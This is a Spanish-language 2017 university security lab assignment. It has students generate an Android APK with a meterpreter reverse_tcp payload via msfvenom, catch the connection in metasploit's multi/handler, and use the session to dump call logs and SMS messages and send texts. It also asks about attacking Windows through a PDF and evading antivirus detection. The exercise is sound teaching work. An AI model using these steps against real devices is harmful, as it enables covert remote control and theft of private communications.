Administración de Redes y Seguridad

2017

Resumen

En este práctico utilizará la herramienta `metasploit` para generar archivos y aplicaciones con ataques

Trabajo Práctico Nº 1.3

Concentización - Ataques

1. Explique el procedimiento para la ejecución del componente `meterpreter` en un dispositivo/computadora remoto/a a través de `msfvenom`. *
2. Utilizando la herrmienta metasploit, ya sea a través de Kali, instalación local:
   a. Generar un archivo APK con el payload de mterpreter e instalarlo en un dispositivo. Puede utilizar el emulador Geanymotion.
   1. Una vez generado el APK, instalarlo con el comando `adb install <nombre>`.
   2. Iniciar `msfconsole`, y establecer:
      - `use exploit/multi/handler`
      - `set payload android/meterpreter/reverse_tcp`
      - `set LHOST 192.168.xx.xx`
      - `exploit`
   3. Inciar la aplicación llamada `MainActivty`
   4. En `msfconsole` listar sesiones con el comando `session`
   5. Iniciar sesión y obtener:
      - Lista de llamadas `dump_calllog`
      - Lista de SMSs `dump_sms`
      - Enviar SMS `send_sms -t "TEXTO" -d "NUMERO"`

   Entregar los archivos de salida y evidencia del envío de SMS.

3. Basado en ejemplo aterior, como realizaría el mismo ataque contra un equipo Microsoft Windows. Puede utilizar un archivo PDF como vector de ataque.
4. ¿Qué capacidades tiene Mterpreter en Windows que no están presentes en Anrdoid?
5. Utilice el sitio http://virustotal.com y suba sus archivos. ¿Qué resultados obtiene?
6. ¿Qué herramienta(s) provee `metasploit` para evadir la detección que se realizó en el punto 5? ¿Es totalmente efectiva? ¿Que otro tipo de amenza podría usar un atacante para modificar el payload y mejorar su efectividad?